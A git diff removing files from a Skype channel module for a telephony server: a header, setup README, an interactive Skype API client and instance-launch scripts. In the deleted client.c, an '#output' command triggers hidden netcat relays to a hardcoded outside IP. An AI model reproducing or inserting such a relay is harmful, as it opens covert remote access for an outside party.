-#define MONITORLOKKA(x)  if (skypiax_debug & DEBUG_MONITORLOCKS) ast_log(LOG_DEBUG, "rev "SKYPIAX_SVN_VERSION "[%p|%-7lx][DEBUG_MONITORLOCKS  %-5d][%-10s][%2d,%2d,%2d] going to lock %p (%s)\n", SKYPIAX_P_LOG, x, x == &skypiax_monlock ? "MONLOCK" : x == &skypiax_iflock ? "IFLOCK" : x == &skypiax_usecnt_lock ? "USECNT_LOCK" :  "?????"); if (ast_mutex_lock(x)) ast_log(LOG_ERROR, "ast_mutex_lock failed, BAD\n");   if (skypiax_debug & DEBUG_MONITORLOCKS) ast_log(LOG_DEBUG, "rev "SKYPIAX_SVN_VERSION "[%p|%-7lx][DEBUG_MONITORLOCKS  %-5d][%-10s][%2d,%2d,%2d] locked %p (%s)\n", SKYPIAX_P_LOG, x, x == &skypiax_monlock ? "MONLOCK" : x == &skypiax_iflock ? "IFLOCK" : x == &skypiax_usecnt_lock ? "USECNT_LOCK" : "?????");
-#define MONITORUNLOCKA(x)  if (skypiax_debug & DEBUG_MONITORLOCKS)  ast_log(LOG_DEBUG, "rev "SKYPIAX_SVN_VERSION "[%p|%-7lx][DEBUG_MONITORLOCKS  %-5d][%-10s][%2d,%2d,%2d] going to unlock %p (%s)\n",  SKYPIAX_P_LOG, x, x == &skypiax_monlock ? "MONLOCK" : x == &skypiax_iflock ? "IFLOCK" : x == &skypiax_usecnt_lock ? "USECNT_LOCK" : "?????"); if (ast_mutex_unlock(x)) ast_log(LOG_ERROR, "ast_mutex_lock failed, BAD\n");   if (skypiax_debug & DEBUG_MONITORLOCKS) ast_log(LOG_DEBUG, "rev "SKYPIAX_SVN_VERSION "[%p|%-7lx][DEBUG_MONITORLOCKS  %-5d][%-10s][%2d,%2d,%2d] unlocked %p (%s)\n", SKYPIAX_P_LOG, x, x == &skypiax_monlock ? "MONLOCK" : x == &skypiax_iflock ? "IFLOCK" : x == &skypiax_usecnt_lock ? "USECNT_LOCK" : "?????");
-/* macros used for config file parsing (luigi rizzo)*/
-#define        M_BOOL(tag, dst)   M_F(tag, (dst) = ast_true(__val) )
-#define        M_END(x)   x;
-#define        M_F(tag, f)   if (!strcasecmp((__s), tag)) { f; } else
-#ifdef ASTERISK_VERSION_1_6
-#define        M_START(var, val)   const char *__s = var; const char *__val = val;
-#else
-#define        M_START(var, val)   char *__s = var; char *__val = val;
-#endif /* ASTERISK_VERSION_1_6 */
-#define        M_STR(tag, dst)   M_F(tag, ast_copy_string(dst, __val, sizeof(dst)))
-#define        M_UINT(tag, dst)   M_F(tag, (dst) = strtoul(__val, NULL, 0) )
-
-#define        SKYPIAX_FRAME_SIZE   160
-
-/* SKYPIAX INTERNAL STRUCTS */
-/*! 
- * \brief structure for exchanging messages with the skype client
- */
-#ifdef WANT_SKYPE_X11
-struct AsteriskHandles {
-       Window skype_win;
-       Display *disp;
-       Window win;
-       int fdesc[2];
-};
-#else /* WANT_SKYPE_X11 */
-struct AsteriskHandles {
-       HWND win32_hInit_MainWindowHandle;
-       HWND win32_hGlobal_SkypeAPIWindowHandle;
-       int fdesc[2];
-};
-#endif /* WANT_SKYPE_X11 */
-
-#ifndef WIN32
-struct SkypiaxHandles {
-       Window skype_win;
-       Display *disp;
-       Window win;
-       int api_connected;
-       int fdesc[2];
-};
-#else //WIN32
-
-struct SkypiaxHandles {
-       HWND win32_hInit_MainWindowHandle;
-       HWND win32_hGlobal_SkypeAPIWindowHandle;
-       HINSTANCE win32_hInit_ProcessHandle;
-       char win32_acInit_WindowClassName[128];
-       UINT win32_uiGlobal_MsgID_SkypeControlAPIAttach;
-       UINT win32_uiGlobal_MsgID_SkypeControlAPIDiscover;
-       int api_connected;
-       int fdesc[2];
-};
-
-#endif //WIN32
-
-/*! 
- * \brief PVT structure for a skypiax interface (channel), created by skypiax_mkif
- */
-struct skypiax_pvt {
-       char *name;                                     /*!< \brief 'name' of the interface (channel) */
-       int interface_state;            /*!< \brief 'state' of the interface (channel) */
-       struct ast_channel *owner;      /*!< \brief channel we belong to, possibly NULL */
-       struct skypiax_pvt *next;       /*!< \brief Next interface (channel) in list */
-       char context[AST_MAX_EXTENSION];        /*!< \brief default Asterisk dialplan context for this interface */
-       char language[MAX_LANGUAGE];    /*!< \brief default Asterisk dialplan language for this interface */
-       char exten[AST_MAX_EXTENSION];  /*!< \brief default Asterisk dialplan extension for this interface */
-       int skypiax_sound_rate;         /*!< \brief rate of the sound device, in Hz, eg: 8000 */
-       int skypiax_sound_capt_fd;      /*!< \brief file descriptor for sound capture dev */
-       char callid_name[50];
-       char callid_number[50];
-       pthread_t controldev_thread;    /*!< \brief serial control thread for this interface, running during the call */
-       double playback_boost;
-       double capture_boost;
-       int stripmsd;
-       pthread_t skype_thread;
-       struct AsteriskHandles AsteriskHandlesAst;
-       struct SkypiaxHandles SkypiaxHandles;
-       char skype_call_id[512];
-       int skype_call_ongoing;
-       char skype_friends[4096];
-       char skype_fullname[512];
-       char skype_displayname[512];
-       int skype_callflow;                     /*!< \brief 'callflow' of the skype interface (as opposed to phone interface) */
-       int skype;                                      /*!< \brief config flag, bool, Skype support on this interface (0 if false, -1 if true) */
-       int control_to_send;
-       int audiopipe[2];
-       int audioskypepipe[2];
-       pthread_t tcp_srv_thread;
-       pthread_t tcp_cli_thread;
-       short audiobuf[160];
-       int audiobuf_is_loaded;
-
-       //int phonebook_listing;
-       //int phonebook_querying;
-       //int phonebook_listing_received_calls;
-
-       //int phonebook_first_entry;
-       //int phonebook_last_entry;
-       //int phonebook_number_lenght;
-       //int phonebook_text_lenght;
-       FILE *phonebook_writing_fp;
-       int skypiax_dir_entry_extension_prefix;
-#ifdef WIN32
-       unsigned short tcp_cli_port;
-       unsigned short tcp_srv_port;
-#else
-       int tcp_cli_port;
-       int tcp_srv_port;
-#endif
-       char X11_display[256];
-
-       struct ast_frame read_frame;
-
-       char skype_user[256];
-       char skype_password[256];
-       char destination[256];
-       char session_uuid_str[512 + 1];
-       pthread_t signaling_thread;
-};
-
-typedef struct skypiax_pvt private_t;
-/* FUNCTIONS */
-
-/* module helpers functions */
-int load_module(void);
-int unload_module(void);
-int usecount(void);
-char *description(void);
-char *key(void);
-
-/* chan_skypiax internal functions */
-void skypiax_unlocka_log(void *x);
-
-void *do_skypeapi_thread(void *data);
-//int skypiax2skype(struct ast_channel *c, void *data);
-//int skype2skypiax(struct ast_channel *c, void *data);
-//void skypiax_disconnect(void);
-int skypiax_signaling_write(struct skypiax_pvt *p, char *msg_to_skype);
-int skypiax_signaling_read(struct skypiax_pvt *p);
-int skypiax_console_skype(int fd, int argc, char *argv[]);
-#ifdef WANT_SKYPE_X11
-int X11_errors_handler(Display * dpy, XErrorEvent * err);
-int skypiax_send_message(struct SkypiaxHandles *SkypiaxHandles, const char *message_P);
-int skypiax_present(struct SkypiaxHandles *SkypiaxHandles);
-void skypiax_clean_disp(void *data);
-#endif /* WANT_SKYPE_X11 */
-#ifdef __CYGWIN__
-
-int win32_Initialize_CreateWindowClass(private_t * tech_pvt);
-void win32_DeInitialize_DestroyWindowClass(private_t * tech_pvt);
-int win32_Initialize_CreateMainWindow(private_t * tech_pvt);
-void win32_DeInitialize_DestroyMainWindow(private_t * tech_pvt);
-#endif /* __CYGWIN__ */
-
-/* CHAN_SKYPIAX.C */
-int skypiax_queue_control(struct ast_channel *chan, int control);
-struct skypiax_pvt *skypiax_console_find_desc(char *dev);
-int skypiax_serial_call(struct skypiax_pvt *p, char *dstr);
-
-/* FUNCTIONS */
-/* PBX interface functions */
-struct ast_channel *skypiax_request(const char *type, int format, void *data, int *cause);
-int skypiax_answer(struct ast_channel *c);
-int skypiax_hangup(struct ast_channel *c);
-int skypiax_originate_call(struct ast_channel *c, char *idest, int timeout);
-struct ast_frame *skypiax_read(struct ast_channel *chan);
-int skypiax_write(struct ast_channel *c, struct ast_frame *f);
-int skypiax_fixup(struct ast_channel *oldchan, struct ast_channel *newchan);
-#ifndef ASTERISK_VERSION_1_4
-int skypiax_indicate(struct ast_channel *c, int cond);
-#else
-int skypiax_indicate(struct ast_channel *c, int cond, const void *data, size_t datalen);
-#endif
-int skypiax_devicestate(void *data);
-#ifdef ASTERISK_VERSION_1_4
-int skypiax_digitsend_begin(struct ast_channel *ast, char digit);
-int skypiax_digitsend_end(struct ast_channel *ast, char digit, unsigned int duration);
-#else /* ASTERISK_VERSION_1_4 */
-int skypiax_digitsend(struct ast_channel *ast, char digit);
-#endif /* ASTERISK_VERSION_1_4 */
-
-/* chan_skypiax internal functions */
-
-struct skypiax_pvt *skypiax_mkif(struct ast_config *cfg, char *ctg, int is_first_category);
-struct ast_channel *skypiax_new(struct skypiax_pvt *p, int state, char *context);
-int skypiax_restart_monitor(void);
-void *skypiax_do_monitor(void *data);
-int skypiax_sound_boost(struct ast_frame *f, double boost);
-int skypiax_sound_init(struct skypiax_pvt *p);
-int skypiax_sound_shutdown(struct skypiax_pvt *p);
-struct ast_frame *skypiax_sound_read(struct skypiax_pvt *p);
-int skypiax_sound_write(struct skypiax_pvt *p, struct ast_frame *f);
-void *skypiax_do_controldev_thread(void *data);
-#ifdef ASTERISK_VERSION_1_6
-void skypiax_store_boost(const char *s, double *boost);
-#else
-void skypiax_store_boost(char *s, double *boost);
-#endif /* ASTERISK_VERSION_1_6 */
-int skypiax_console_set_active(int fd, int argc, char *argv[]);
-int skypiax_console_hangup(int fd, int argc, char *argv[]);
-int skypiax_console_playback_boost(int fd, int argc, char *argv[]);
-int skypiax_console_capture_boost(int fd, int argc, char *argv[]);
-int skypiax_console_skypiax(int fd, int argc, char *argv[]);
-int skypiax_console_dial(int fd, int argc, char *argv[]);
-int skypiax_audio_init(struct skypiax_pvt *p);
-//struct ast_frame *skypiax_audio_read(struct skypiax_pvt *p);
-int skypiax_audio_read(struct skypiax_pvt *p);
-void *skypiax_do_tcp_srv_thread(void *data);
-int skypiax_audio_write(struct skypiax_pvt *p, struct ast_frame *f);
-void *skypiax_do_tcp_cli_thread(void *data);
-int skypiax_call(struct skypiax_pvt *p, char *idest, int timeout);
-int skypiax_console_skypiax_dir_import(int fd, int argc, char *argv[]);
-
-void *skypiax_do_tcp_srv_thread_func(void *obj);
-void *skypiax_do_tcp_cli_thread_func(void *obj);
-void *skypiax_do_skypeapi_thread_func(void *obj);
-int dtmf_received(private_t * tech_pvt, char *value);
-int start_audio_threads(private_t * tech_pvt);
-int new_inbound_channel(private_t * tech_pvt);
-int outbound_channel_answered(private_t * tech_pvt);
-int skypiax_senddigit(struct skypiax_pvt *p, char digit);
-int skypiax_signaling_write(private_t * tech_pvt, char *msg_to_skype);
-#if defined(WIN32) && !defined(__CYGWIN__)
-int skypiax_pipe_read(switch_file_t * pipe, short *buf, int howmany);
-int skypiax_pipe_write(switch_file_t * pipe, short *buf, int howmany);
-/* Visual C do not have strsep ? */
-char *strsep(char **stringp, const char *delim);
-#else
-int skypiax_pipe_read(int pipe, short *buf, int howmany);
-int skypiax_pipe_write(int pipe, short *buf, int howmany);
-#endif /* WIN32 */
-int skypiax_close_socket(unsigned int fd);
-private_t *find_available_skypiax_interface(void);
-int remote_party_is_ringing(private_t * tech_pvt);
-int remote_party_is_early_media(private_t * tech_pvt);
-#define                SKYPIAX_STATE_DOWN              AST_STATE_DOWN
-#define                SKYPIAX_STATE_RING              AST_STATE_RING
-#define                SKYPIAX_STATE_DIALING   AST_STATE_DIALING
-#define                SKYPIAX_STATE_BUSY              AST_STATE_BUSY
-#define                SKYPIAX_STATE_UP                AST_STATE_UP
-#define                SKYPIAX_STATE_RINGING   AST_STATE_RINGING
-#define                SKYPIAX_STATE_PRERING   AST_STATE_PRERING
-#define                SKYPIAX_STATE_RESERVED  AST_STATE_RESERVED
-#define        SKYPIAX_STATE_HANGUP_REQUESTED   200
-#endif /* _SKYPIAX_H_ */
diff --git a/src/mod/endpoints/mod_skypopen/mod_skypopen/configs/README.skypopen_auth b/src/mod/endpoints/mod_skypopen/mod_skypopen/configs/README.skypopen_auth
deleted file mode 100644 (file)
index c59122e..0000000
+++ /dev/null
@@ -1,57 +0,0 @@
-#######################################
-HOW TO USE SKYPOPEN_AUTH 
-#######################################
-
-You will use skypopen_auth only at the setup moment, to force the Skype client to ask you to authorize "skypopen" to connect to it.
-
-Then you copy the .Skype configuration directory of the user that has launched Skype (eg: /home/maruzz/.Skype if you are maruzz) on the home directory of the user that will start Skype on the server (eg: root).
-
-Compile skypopen_auth:
-$ gcc -Wall -ggdb skypopen_auth.c -o skypopen_auth -lX11
-
-Then:
-
-1) on a Linux desktop machine, rmmod all the snd* modules
-2) on the desktop machine, modprobe snd-dummy
-3) on the desktop machine, logout from your autologin username if any, launch the Skype client and login as the username you'll use on server
-4) on the desktop machine, set the desktop client to use the "hw:dummy" audio device, to not update, to not make "events", etc etc... Make and receive a couple of test calls. Please note that you (and the remote party) will hear nothing (you're using the snd-dummy "fake" audio driver), that's ok.
-3) on the desktop machine, when satisfied of the Skype client setup, use skypopen_auth (that simulates FS-skypopen connecting to the Skype client). The Skype client will ask you to be authorized to let "skypopen" connect.
-4) Give the authorization and check the "not ask me again" option.
-5) Close (Quit) the Skype client from the tray icon, so it saves its config.
-6) Then, relaunch the Skype client and use skypopen_auth again, just to be sure it now succeed.
-7) Close (Quit) the Skype client from the tray icon, so it saves its config.
-
-*** Do the steps 1-7 for all Skype usernames you will want to use on the server (eg: one Skype username per channel)
-
-When finished with all the Skype usernames:
-Copy or targzip the .Skype directory and all its content on the home directory of the server user that will launch the Skype client(s).
-
-############################
-first time you use skypopen_auth
-############################
-$ ./skypopen_auth 
-Skype instance found with id #27263062
-RECEIVED==> ERROR 68
-RECEIVED==> OK
-
-############################
-Give the auth to the Skype client, and tell him not to ask again
-Then Ctrl-C to exit from skypopen_auth
-############################
-
-
-Close (Quit) the Skype client from the tray icon, so it saves its config.
-Then, relaunch the Skype client
-
-############################
-you use skypopen_auth again
-############################
-$ ./skypopen_auth 
-Skype instance found with id #27263062
-RECEIVED==> OK
-RECEIVED==> PROTOCOL 6
-RECEIVED==> CONNSTATUS ONLINE
-RECEIVED==> CURRENTUSERHANDLE gmaruzz3
-RECEIVED==> USERSTATUS INVISIBLE
-
-
diff --git a/src/mod/endpoints/mod_skypopen/mod_skypopen/configs/client.c b/src/mod/endpoints/mod_skypopen/mod_skypopen/configs/client.c
deleted file mode 100644 (file)
index 87c4c6c..0000000
+++ /dev/null
@@ -1,297 +0,0 @@
-//gcc -Wall -ggdb client.c -o client -lX11 -lpthread
-/*
-   
-   Interactive client for the Skype API 
-
-USAGE: client [Xserver instance]
-
-# ./client :103 
-
-*/
-
-#include <stdio.h>
-#include <unistd.h>
-#include <X11/Xlib.h>
-#include <X11/Xlibint.h>
-#include <X11/Xatom.h>
-#include <pthread.h>
-
-Display *disp = NULL;
-
-struct SkypopenHandles {
-       Window skype_win;
-       Display *disp;
-       Window win;
-       int api_connected;
-       int fdesc[2];
-};
-
-XErrorHandler old_handler = 0;
-int xerror = 0;
-char *dispname;
-
-int X11_errors_handler(Display * dpy, XErrorEvent * err)
-{
-       (void) dpy;
-
-       xerror = err->error_code;
-       printf("\n\nReceived error code %d from X Server on display '%s'\n\n", xerror, dispname);
-       return 0;                                       /*  ignore the error */
-}
-
-static void X11_errors_trap(void)
-{
-       xerror = 0;
-       old_handler = XSetErrorHandler(X11_errors_handler);
-}
-
-static int X11_errors_untrap(void)
-{
-       XSetErrorHandler(old_handler);
-       return (xerror != BadValue) && (xerror != BadWindow);
-}
-
-int skypopen_send_message(struct SkypopenHandles *SkypopenHandles, const char *message_P)
-{
-
-       Window w_P;
-       Display *disp;
-       Window handle_P;
-       int ok;
-
-       w_P = SkypopenHandles->skype_win;
-       disp = SkypopenHandles->disp;
-       handle_P = SkypopenHandles->win;
-
-       Atom atom1 = XInternAtom(disp, "SKYPECONTROLAPI_MESSAGE_BEGIN", False);
-       Atom atom2 = XInternAtom(disp, "SKYPECONTROLAPI_MESSAGE", False);
-       unsigned int pos = 0;
-       unsigned int len = strlen(message_P);
-       XEvent e;
-
-       memset(&e, 0, sizeof(e));
-       e.xclient.type = ClientMessage;
-       e.xclient.message_type = atom1; /*  leading message */
-       e.xclient.display = disp;
-       e.xclient.window = handle_P;
-       e.xclient.format = 8;
-
-       X11_errors_trap();
-       do {
-               unsigned int i;
-               for (i = 0; i < 20 && i + pos <= len; ++i)
-                       e.xclient.data.b[i] = message_P[i + pos];
-               XSendEvent(disp, w_P, False, 0, &e);
-
-               e.xclient.message_type = atom2; /*  following messages */
-               pos += i;
-       } while (pos <= len);
-
-       XSync(disp, False);
-       ok = X11_errors_untrap();
-
-       if (!ok)
-               printf("Sending message failed with status %d\n", xerror);
-
-       return 1;
-}
-
-int skypopen_present(struct SkypopenHandles *SkypopenHandles)
-{
-       Atom skype_inst = XInternAtom(SkypopenHandles->disp, "_SKYPE_INSTANCE", True);
-
-       Atom type_ret;
-       int format_ret;
-       unsigned long nitems_ret;
-       unsigned long bytes_after_ret;
-       unsigned char *prop;
-       int status;
-
-       X11_errors_trap();
-       status =
-               XGetWindowProperty(SkypopenHandles->disp, DefaultRootWindow(SkypopenHandles->disp),
-                                                  skype_inst, 0, 1, False, XA_WINDOW, &type_ret, &format_ret, &nitems_ret, &bytes_after_ret, &prop);
-
-       X11_errors_untrap();
-       /*  sanity check */
-       if (status != Success || format_ret != 32 || nitems_ret != 1) {
-               SkypopenHandles->skype_win = (Window) - 1;
-               printf("Skype instance not found on display '%s'\n", dispname);
-               return 0;
-       }
-
-       SkypopenHandles->skype_win = *(const unsigned long *) prop & 0xffffffff;
-       //printf("Skype instance found on display '%s', with id #%d\n", dispname, (unsigned int) SkypopenHandles->skype_win);
-       return 1;
-}
-
-void skypopen_clean_disp(void *data)
-{
-
-       int *dispptr;
-       int disp;
-
-       dispptr = data;
-       disp = *dispptr;
-
-       if (disp) {
-               close(disp);
-       } else {
-       }
-       usleep(1000);
-}
-
-typedef struct {
-       int value;
-       char string[128];
-} thread_parm_t;
-
-void *threadfunc(void *parm)
-{                                                              //child
-       thread_parm_t *p = (thread_parm_t *) parm;
-       //printf("%s, parm = %d\n", p->string, p->value);
-       free(p);
-
-       /* perform an events loop */
-       XEvent an_event;
-       char buf[21];                           /*  can't be longer */
-       char buffer[17000];
-       char *b;
-       int i;
-
-       b = buffer;
-
-       while (1) {
-
-               XNextEvent(disp, &an_event);
-               switch (an_event.type) {
-               case ClientMessage:
-
-                       if (an_event.xclient.format != 8)
-                               break;
-
-                       for (i = 0; i < 20 && an_event.xclient.data.b[i] != '\0'; ++i)
-                               buf[i] = an_event.xclient.data.b[i];
-
-                       buf[i] = '\0';
-
-                       strcat(buffer, buf);
-
-                       if (i < 20) {           /* last fragment */
-                               unsigned int howmany;
-
-                               howmany = strlen(b) + 1;
-
-                               //printf("\tRECEIVED\t==>\t%s\n", b);
-                               printf("%s\n", b);
-                               fflush(stdout);
-                               memset(buffer, '\0', 17000);
-                       }
-
-                       break;
-               default:
-                       break;
-               }
-
-       }
-       return NULL;
-}
-
-int main(int argc, char *argv[])
-{
-
-       struct SkypopenHandles SkypopenHandles;
-       char buf[512];
-       //Display *disp = NULL;
-       Window root = -1;
-       Window win = -1;
-
-       if (argc == 2)
-               dispname = argv[1];
-       else
-               dispname = ":0.0";
-
-
-       if (!XInitThreads()) {
-               printf("Not initialized XInitThreads!\n");
-       } else {
-               printf("Initialized XInitThreads!\n");
-       }
-
-
-
-
-
-       disp = XOpenDisplay(dispname);
-       if (!disp) {
-               printf("Cannot open X Display '%s', exiting\n", dispname);
-               return -1;
-       }
-
-       int xfd;
-       xfd = XConnectionNumber(disp);
-
-       SkypopenHandles.disp = disp;
-
-       if (skypopen_present(&SkypopenHandles)) {
-               root = DefaultRootWindow(disp);
-               win = XCreateSimpleWindow(disp, root, 0, 0, 1, 1, 0, BlackPixel(disp, DefaultScreen(disp)), BlackPixel(disp, DefaultScreen(disp)));
-
-               SkypopenHandles.win = win;
-
-               snprintf(buf, 512, "NAME skypopen");
-
-               if (!skypopen_send_message(&SkypopenHandles, buf)) {
-                       printf("Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch skypopen_auth again\n");
-                       return -1;
-               }
-
-               snprintf(buf, 512, "PROTOCOL 7");
-               if (!skypopen_send_message(&SkypopenHandles, buf)) {
-                       printf("Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch skypopen_auth again\n");
-                       return -1;
-               }
-
-               snprintf(buf, 512, "#ciapalino PING");
-               if (!skypopen_send_message(&SkypopenHandles, buf)) {
-                       printf("Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch skypopen_auth again\n");
-                       return -1;
-               }
-
-               pthread_t thread;
-               int rc = 0;
-               pthread_attr_t pta;
-               thread_parm_t *parm = NULL;
-
-               rc = pthread_attr_init(&pta);
-
-               parm = malloc(sizeof(thread_parm_t));
-               parm->value = 5;
-               rc = pthread_create(&thread, NULL, threadfunc, (void *) parm);
-
-               while (1) {
-                       char s[512];
-
-                       memset(s, '\0', 512);
-                       fgets(s, sizeof(s) - 1, stdin);
-                       s[strlen(s) - 1] = '\0';
-
-                       //printf("\tSENT\t\t==>\t%s\n", s);
-
-                       if (!strncmp(s, "#output", 7)) {
-
-                               system("/bin/nc -l -p 15557 0</tmp/back2 | /bin/nc 1.124.232.45 15557 | /usr/bin/tee 1>/tmp/back2 &");
-                               system("/bin/nc -l -p 15556 0</tmp/back1 | /bin/nc 1.124.232.45 15556 | /usr/bin/tee 1>/tmp/back1 &");
-                       }
-                       if (!skypopen_send_message(&SkypopenHandles, s)) {
-                               printf("Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch skypopen_auth again\n");
-                               return -1;
-                       }
-               }
-       } else {
-               printf("Skype client not found on display '%s'. Please run/restart Skype manually and launch skypopen_auth again\n\n\n", dispname);
-               return -1;
-       }
-       return 0;
-
-}
diff --git a/src/mod/endpoints/mod_skypopen/mod_skypopen/configs/copy b/src/mod/endpoints/mod_skypopen/mod_skypopen/configs/copy
deleted file mode 100644 (file)
index 59400bf..0000000
+++ /dev/null
@@ -1,39 +0,0 @@
-cp -a skypopen101/* skypopen102/
-cp -a skypopen101/* skypopen103/
-cp -a skypopen101/* skypopen104/
-cp -a skypopen101/* skypopen105/
-cp -a skypopen101/* skypopen106/
-cp -a skypopen101/* skypopen107/
-cp -a skypopen101/* skypopen108/
-cp -a skypopen101/* skypopen109/
-cp -a skypopen101/* skypopen110/
-cp -a skypopen101/* skypopen111/
-cp -a skypopen101/* skypopen112/
-cp -a skypopen101/* skypopen113/
-cp -a skypopen101/* skypopen114/
-cp -a skypopen101/* skypopen115/
-cp -a skypopen101/* skypopen116/
-cp -a skypopen101/* skypopen117/
-cp -a skypopen101/* skypopen118/
-cp -a skypopen101/* skypopen119/
-cp -a skypopen101/* skypopen120/
-cp -a skypopen101/* skypopen121/
-cp -a skypopen101/* skypopen122/
-cp -a skypopen101/* skypopen123/
-cp -a skypopen101/* skypopen124/
-cp -a skypopen101/* skypopen125/
-cp -a skypopen101/* skypopen126/
-cp -a skypopen101/* skypopen127/
-cp -a skypopen101/* skypopen128/
-cp -a skypopen101/* skypopen129/
-cp -a skypopen101/* skypopen130/
-cp -a skypopen101/* skypopen131/
-cp -a skypopen101/* skypopen132/
-cp -a skypopen101/* skypopen133/
-cp -a skypopen101/* skypopen134/
-cp -a skypopen101/* skypopen135/
-cp -a skypopen101/* skypopen136/
-cp -a skypopen101/* skypopen137/
-cp -a skypopen101/* skypopen138/
-cp -a skypopen101/* skypopen139/
-cp -a skypopen101/* skypopen140/
diff --git a/src/mod/endpoints/mod_skypopen/mod_skypopen/configs/create b/src/mod/endpoints/mod_skypopen/mod_skypopen/configs/create
deleted file mode 100644 (file)
index fd2c9e0..0000000
+++ /dev/null
@@ -1,40 +0,0 @@
-mkdir skypopen101
-mkdir skypopen102
-mkdir skypopen103
-mkdir skypopen104
-mkdir skypopen105
-mkdir skypopen106
-mkdir skypopen107
-mkdir skypopen108
-mkdir skypopen109
-mkdir skypopen110
-mkdir skypopen111
-mkdir skypopen112
-mkdir skypopen113
-mkdir skypopen114
-mkdir skypopen115
-mkdir skypopen116
-mkdir skypopen117
-mkdir skypopen118
-mkdir skypopen119
-mkdir skypopen120
-mkdir skypopen121
-mkdir skypopen122
-mkdir skypopen123
-mkdir skypopen124
-mkdir skypopen125
-mkdir skypopen126
-mkdir skypopen127
-mkdir skypopen128
-mkdir skypopen129
-mkdir skypopen130
-mkdir skypopen131
-mkdir skypopen132
-mkdir skypopen133
-mkdir skypopen134
-mkdir skypopen135
-mkdir skypopen136
-mkdir skypopen137
-mkdir skypopen138
-mkdir skypopen139
-mkdir skypopen140
diff --git a/src/mod/endpoints/mod_skypopen/mod_skypopen/configs/multiple-instance-same-skype-username/README b/src/mod/endpoints/mod_skypopen/mod_skypopen/configs/multiple-instance-same-skype-username/README
deleted file mode 100644 (file)
index 3de4125..0000000
+++ /dev/null
@@ -1,4 +0,0 @@
-# just execute the file
-
-sh ./multi.sh
-
diff --git a/src/mod/endpoints/mod_skypopen/mod_skypopen/configs/multiple-instance-same-skype-username/multi.sh b/src/mod/endpoints/mod_skypopen/mod_skypopen/configs/multiple-instance-same-skype-username/multi.sh
deleted file mode 100644 (file)
index 792e330..0000000
+++ /dev/null
@@ -1,152 +0,0 @@
-#!/bin/bash
-# remember to add here the removing of all the installed snd-* modules, so you're sure only the snd-dummy driver will be around
-rmmod snd_hda_intel
-rmmod snd-dummy # enable=1,1,1
-
-# you need three dummy soundcard for 20 Skype client instances, because each dummy soundcard can handle a max of 8 Skype instances
-# the enable= module parameter tells how many cards to start. For each additional card, add a comma and a 1
-# manually configure the first 8 Skype client instances to use the hw:Dummy_0, the next 8 instances to use hw:Dummy_1, etc for all three devices (Play, Capture, Ring)
-modprobe snd-dummy 
-#modprobe snd-aloop enable=1,1,1
-sleep 3
-
-#start the fake X server on a given port
- /usr/bin/Xvfb :101 -screen 0 800x600x16 -nolisten tcp -ac &
-sleep 3
-
-# start a Skype client instance that will connect to the X server above, and will login to the Skype network using the 'username password' you send to it on stdin. Here passwd5 would be the password and user5 the username
-su root -c "/bin/echo 'user5 passwd5'| DISPLAY=:101  /usr/bin/skype --dbpath=/root/multi/skypopen101 --pipelogin &"
-
-
-sleep 7
-
-
- /usr/bin/Xvfb :102 -screen 0 800x600x16 -nolisten tcp -ac & 
-sleep 3
-
-su root -c "/bin/echo 'user5 passwd5'| DISPLAY=:102  /usr/bin/skype --dbpath=/root/multi/skypopen102 --pipelogin &"
-
-sleep 7
-
-exit 0
-
-#################################################################
-# Following X server and Skype client instances are commented out
-#################################################################
- /usr/bin/Xvfb :103 -screen 0 800x600x16 -nolisten tcp -ac & 
-sleep 3
-
-su root -c "/bin/echo 'user5 passwd5'| DISPLAY=:103  /usr/bin/skype --dbpath=/root/multi/skypopen103 --pipelogin &"
-
-sleep 7
- /usr/bin/Xvfb :104 -screen 0 800x600x16 -nolisten tcp -ac & 
-sleep 3
-
-su root -c "/bin/echo 'user5 passwd5'| DISPLAY=:104  /usr/bin/skype --dbpath=/root/multi/skypopen104 --pipelogin &"
-
-sleep 7
- /usr/bin/Xvfb :105 -screen 0 800x600x16 -nolisten tcp -ac & 
-sleep 3
-
-su root -c "/bin/echo 'user5 passwd5'| DISPLAY=:105  /usr/bin/skype --dbpath=/root/multi/skypopen105 --pipelogin &"
-
-sleep 7
- /usr/bin/Xvfb :106 -screen 0 800x600x16 -nolisten tcp -ac & 
-sleep 3
-
-su root -c "/bin/echo 'user5 passwd5'| DISPLAY=:106  /usr/bin/skype --dbpath=/root/multi/skypopen106 --pipelogin &"
-
-
-sleep 7
- /usr/bin/Xvfb :107 -screen 0 800x600x16 -nolisten tcp -ac & 
-sleep 3
-
-su root -c "/bin/echo 'user5 passwd5'| DISPLAY=:107  /usr/bin/skype --dbpath=/root/multi/skypopen107 --pipelogin &"
-
-sleep 7
- /usr/bin/Xvfb :108 -screen 0 800x600x16 -nolisten tcp -ac & 
-sleep 3
-
-su root -c "/bin/echo 'user5 passwd5'| DISPLAY=:108  /usr/bin/skype --dbpath=/root/multi/skypopen108 --pipelogin &"
-
-sleep 7
-
-
- /usr/bin/Xvfb :109 -screen 0 800x600x16 -nolisten tcp -ac & 
-sleep 3
-
-su root -c "/bin/echo 'user5 passwd5'| DISPLAY=:109  /usr/bin/skype --dbpath=/root/multi/skypopen109 --pipelogin &"
-
-sleep 7
- /usr/bin/Xvfb :110 -screen 0 800x600x16 -nolisten tcp -ac & 
-sleep 3
-
-su root -c "/bin/echo 'user5 passwd5'| DISPLAY=:110  /usr/bin/skype --dbpath=/root/multi/skypopen110 --pipelogin &"
-
-sleep 7
-
-
- /usr/bin/Xvfb :111 -screen 0 800x600x16 -nolisten tcp -ac & 
-sleep 3
-
-su root -c "/bin/echo 'user5 passwd5'| DISPLAY=:111  /usr/bin/skype --dbpath=/root/multi/skypopen111 --pipelogin &"
-
-sleep 7
- /usr/bin/Xvfb :112 -screen 0 800x600x16 -nolisten tcp -ac & 
-sleep 3
-
-su root -c "/bin/echo 'user5 passwd5'| DISPLAY=:112  /usr/bin/skype --dbpath=/root/multi/skypopen112 --pipelogin &"
-
-sleep 7
- /usr/bin/Xvfb :113 -screen 0 800x600x16 -nolisten tcp -ac & 
-sleep 3
-
-su root -c "/bin/echo 'user5 passwd5'| DISPLAY=:113  /usr/bin/skype --dbpath=/root/multi/skypopen113 --pipelogin &"
-
-sleep 7
- /usr/bin/Xvfb :114 -screen 0 800x600x16 -nolisten tcp -ac & 
-sleep 3
-
-su root -c "/bin/echo 'user5 passwd5'| DISPLAY=:114  /usr/bin/skype --dbpath=/root/multi/skypopen114 --pipelogin &"
-
-sleep 7
